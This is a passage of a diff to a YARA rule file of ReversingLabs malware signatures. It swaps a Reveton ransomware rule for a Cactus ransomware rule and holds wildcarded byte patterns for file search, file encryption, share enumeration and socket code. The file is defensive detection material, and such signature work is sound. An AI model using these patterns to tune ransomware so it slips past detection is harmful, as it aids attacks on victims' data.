-            ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 00 11 ?? 09 11 ?? 9A 11 ?? 6F ?? ?? ??
-            ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 09 8E 69 FE 04 13 ?? 11 ?? 2D ?? 16 13 ?? 2B ?? 00 11
-            ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 FE 04
-            13 ?? 11 ?? 2D ?? 2A
+		$enum_shares_p2 = {
+            50 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D 04 85 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 56 FF 34
+            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 56 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 04 8D ??
+            ?? ?? ?? 41 FF 05 ?? ?? ?? ?? 89 0D ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 FF 85 C0 7E ?? 8D
+            5F ?? 8D 44 24 ?? 50 FF 34 BD ?? ?? ?? ?? FF D5 85 C0 0F 44 F3 47 3B 3D ?? ?? ?? ??
+            7C ?? 8B 5C 24 ?? 85 F6 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 0D ?? ??
+            ?? ?? 8B 3D ?? ?? ?? ?? 89 04 8D ?? ?? ?? ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ?? 50 FF D7
+            A1 ?? ?? ?? ?? 83 C4 ?? 8D 04 85 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 6A ?? FF 34 85 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 04 8D ?? ??
+            ?? ?? 41 FF 05 ?? ?? ?? ?? 89 0D ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 8B 74 24 ?? 83
+            C3 ?? 46 89 5C 24 ?? 89 74 24 ?? 3B 74 24 ?? 0F 82 ?? ?? ?? ?? 8B 5C 24 ?? 53 FF 15
+            ?? ?? ?? ?? 81 7C 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 0F 84 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4
+            ?? ?? ?? ?? C3
         }
-		$encrypt_files_p1 = {
-            00 14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 00 73
-            ?? ?? ?? ?? 0D 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            00 03 07 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ??
-            00 09 17 6F ?? ?? ?? ?? 00 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 02 16
-            02 8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ??
-            ?? ?? 00 DC 08 6F ?? ?? ?? ?? 0A 00 DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? 00 DC 00 DE ?? 08
-            2C ?? 08 6F ?? ?? ?? ?? 00 DC 06 13 ?? 2B ?? 11 ?? 2A
+		$encrypt_files = {
+            68 ?? ?? ?? ?? 6A ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ?? ??
+            ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F0 E8 ?? ?? ?? ??
+            83 C4 ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D7 83
+            C4 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D
+            04 45 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ??
+            FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 83 FB ?? 75 ?? E8 ?? ?? ?? ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? EB ?? 83 FB ?? 75 ?? 6A ?? 6A ?? 68 ?? ?? ?? ??
+            56 6A ?? FF 35 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 E8 ??
+            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? FF B4 24 ?? ?? ?? ?? 51 E8 ?? ?? ??
+            ?? 83 C4 ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8
         }
-		$encrypt_files_p2 = {
-            00 03 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 0B 28 ?? ?? ?? ?? 07 6F ?? ??
-            ?? ?? 0B 06 07 28 ?? ?? ?? ?? 0C 03 0D 09 08 28 ?? ?? ?? ?? 00 2A
+		$find_files = {
+            81 EC ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 68 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 8D 51 ?? 66 8B 01
+            83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 66 83 7C 24 ?? ?? 56 8D 71 ?? 0F 85 ?? ?? ?? ??
+            55 8B 2D ?? ?? ?? ?? 57 8B 3D ?? ?? ?? ?? 66 90 66 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ??
+            66 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 66 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 66 83 7C 74
+            ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 66 89 44 74 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50
+            8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 66 89 4C 74 ?? 85 C0 74 ?? 33 F6 90
+            FF 34 B5 ?? ?? ?? ?? FF D7 83 F8 ?? 74 ?? 46 83 FE ?? 72 ?? 8D 44 24 ?? 50 FF 34 B5
+            ?? ?? ?? ?? FF D5 68 ?? ?? ?? ?? 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D
+            4C 24 ?? 8D 51 ?? 66 90 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 66 83 7C 24 ??
+            ?? 8D 71 ?? 0F 84 ?? ?? ?? ?? 5F 5D 53 FF 15 ?? ?? ?? ?? 5E 5B 81 C4 ?? ?? ?? ?? C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($set_environment) and ($find_files) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ( all of ($enum_shares_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Reveton : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win64_Ransomware_Cactus : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Reveton ransomware."
+		description = "Yara rule that detects Cactus ransomware."
 		author = "ReversingLabs"
-		id = "14446b94-cd57-5930-b0af-b21091b61f68"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "f391919a-b433-5f8d-8051-f0467118fa1b"
+		date = "2023-12-15"
+		modified = "2023-12-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Reveton.yara#L1-L118"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "2d316c558cdb5591788ef89c6e20327882a118f2928f4a31fb5b8b3083931ac5"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.Cactus.yara#L1-L190"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "2953b67e926cb653df0de208b098da3d5c16e6690842ab28fbf8c37cd16f54d7"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -32983,111 +34640,174 @@ rule REVERSINGLABS_Win32_Ransomware_Reveton : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Reveton"
+		tc_detection_name = "Cactus"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$http_connection_1 = {
-            C6 45 ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ??
-            ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8B C3 E8 ?? ?? ?? ?? 50 8B 45
-            ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 74 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0
-            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 06 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 50 68
-            ?? ?? ?? ?? 8B 45 ?? 50 53 E8 ?? ?? ?? ?? 8B 55 ?? 8B 06 8B 4D ?? E8 ?? ?? ?? ?? 83
-            7D ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8
-            ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 E8
-        }
-		$raw_socket_connection_1_1 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 4D
-            ?? 89 55 ?? 8B F0 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 DB 8D 45 ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 8B F8 85 FF 0F 8E ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B CF E8
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8
-        }
-		$raw_socket_connection_1_2 = {
-            C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 80 BD ?? ?? ??
-            ?? ?? 74 ?? 33 C0 EB ?? B0 ?? 84 C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ??
-            ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? E9
-            ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? FE C8 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 66 C7 85 ?? ?? ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? FE C8 74 ?? 2C ?? 74
-            ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ??
-            ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 95
-            ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? E8
+		$encrypt_files_p1 = {
+            55 41 57 41 56 41 55 41 54 56 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 29 C4 48 8D AC 24
+            ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8
+            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ??
+            ?? ?? ?? 48 98 48 89 C1 E8 ?? ?? ?? ?? 48 89 45 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48
+            89 85 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C1 4C 8D 4D
+            ?? 4C 8D 45 ?? 48 8B 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48
+            89 54 24 ?? 48 8B 95 ?? ?? ?? ?? 48 89 54 24 ?? 48 89 CA 48 89 C1 E8 ?? ?? ?? ?? 48
+            8D 45 ?? 48 8B 95 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45
+            ?? 48 8B 95 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48
+            89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DA
+            48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA
+            ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C2
+            48 8D 85 ?? ?? ?? ?? 41 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 41 B8 ??
+            ?? ?? ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8B 45 ?? 48 8D
         }
-		$raw_socket_connection_1_3 = {
-            66 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F B6 BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85
-            ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CF
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85
-            C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 40 ?? 8B 00 8B 00
-            89 85 ?? ?? ?? ?? 8A 94 3D ?? ?? ?? ?? 8A 84 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 89 85
-            ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9
-            ?? ?? ?? ?? E8
+		$encrypt_files_p2 = {
+            95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 4C 8B 85 ?? ?? ?? ?? 48 8B 85 ??
+            ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ??
+            ?? 48 83 C0 ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 95
+            ?? ?? ?? ?? 48 8D 4A ?? 41 B8 ?? ?? ?? ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ??
+            ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 29
+            C2 48 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 98 48 39 85 ?? ?? ?? ?? 0F 8D ?? ?? ??
+            ?? 48 89 E0 48 89 C6 48 8B 85 ?? ?? ?? ?? 48 8D 50 ?? 48 85 C0 48 0F 48 C2 48 C1 F8
+            ?? 48 C1 E0 ?? 48 89 85 ?? ?? ?? ?? 48 8B 9D ?? ?? ?? ?? 48 8D 43 ?? 48 89 85 ?? ??
+            ?? ?? 48 89 D8 49 89 C4 41 BD ?? ?? ?? ?? 48 89 D8 49 89 C6 41 BF ?? ?? ?? ?? 48 89
+            D8 48 83 C0 ?? 48 C1 E8 ?? 48 C1 E0 ?? E8 ?? ?? ?? ?? 48 29 C4 48 8D 44 24 ?? 48 83
+            C0 ?? 48 89 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 8D 85 ?? ??
+            ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 41 89 D9 4C 8B 85 ?? ?? ?? ?? 48 89 E9 48 8D
+            55 ?? 48 8B 85 ?? ?? ?? ?? 44 89 4C 24 ?? 4D 89 C1 49 89 C8 48 89 C1 E8 ?? ?? ?? ??
+            48 8B 85 ?? ?? ?? ?? F7 D8 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 63 D0 48 8D 85 ??
+            ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8D 45 ?? 48
+            8D 95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 2B 85
+            ?? ?? ?? ?? 48 89 C2 48 8D 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8
         }
-		$raw_socket_connection_1_4 = {
-            8B 55 ?? 8B C6 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8B
-            00 50 E8 ?? ?? ?? ?? 40 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ??
-            ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 8B 45 ?? 8B 00
-            50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8B 00 50 E8
+		$encrypt_files_p3 = {
+            48 89 DA 48 8B 85 ?? ?? ?? ?? 48 01 D0 48 89 85 ?? ?? ?? ?? 90 48 89 F4 E9 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? 48 63 C8 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 C8 48
+            89 C1 E8 ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? 48 89 E9 48 8D 55 ?? 48 8B 85 ?? ?? ?? ??
+            C7 44 24 ?? ?? ?? ?? ?? 4D 89 C1 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            F7 D8 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 63 D0 48 8D 85 ?? ?? ?? ?? 41 B8 ?? ??
+            ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8D 45 ?? 48 8D 95 ?? ?? ?? ?? 48
+            8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 05 ?? ?? ?? ?? 48 89 85 ??
+            ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 F0 ?? 84
+            C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 48 98 48 8D 55 ?? 48 01 C2 48 89 E9 48 8B 85 ?? ?? ??
+            ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8D 45 ?? 48 8D 95 ?? ?? ??
+            ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8B 45 ?? 48 8D 95 ?? ??
+            ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 4C 8B 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ??
+            48 8D 95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 83
+            C0 ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ??
+            ?? 48 8D 4A ?? 41 B8 ?? ?? ?? ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89
+         }
+		$encrypt_files_p4 = {
+            C1 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1
+            E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 41 B8
+            ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 89
+            C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 84 DB 74 ?? 48 8D 45 ?? 48 89 C1 E8
+            ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ??
+            48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DA 48 89 C1 48 8B 05 ?? ?? ?? ??
+            FF D0 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D
+            85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 F4 48 89 C3 EB ?? 48 89 C3 48 8D
+            85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ??
+            ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ??
+            ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 8D A5 ?? ??
+            ?? ?? 5B 5E 41 5C 41 5D 41 5E 41 5F 5D C3
         }
-		$raw_socket_connection_1_5 = {
-            C6 85 ?? ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ??
-            ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 66
-            8B 85 ?? ?? ?? ?? 8B D0 66 81 E2 ?? ?? 88 95 ?? ?? ?? ?? 0F B7 C0 C1 E8 ?? 88 85 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ??
-            ?? ?? 40 74 ?? B3 ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ??
-            ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64
-            89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ??
-            ?? ?? ?? C3
+		$find_files_p1 = {
+            55 56 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 29 C4 48 8D AC 24 ?? ?? ?? ?? 48 89 8D ??
+            ?? ?? ?? 48 8D 45 ?? BB ?? ?? ?? ?? 48 89 C6 EB ?? 48 89 F1 E8 ?? ?? ?? ?? 48 83 EB
+            ?? 48 83 C6 ?? 48 85 DB 79 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8
+            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0
+            0F 95 C0 84 C0 74 ?? 48 8B 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ??
+            ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ??
+            ?? ?? ?? E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ??
+            84 C0 74 ?? 48 8D 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85
+            ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ??
+            ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ??
+            ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            E9 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 84 C0 74 ?? 48 8D 45 ?? 8B 95 ?? ?? ?? ?? 48 63
+            D2 48 C1 E2 ?? 48 01 C2 48 8D 85 ?? ?? ?? ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1
+            E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48
         }
-		$file_search_1_1 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 89 55 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 68 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 89 C3 85 DB 74
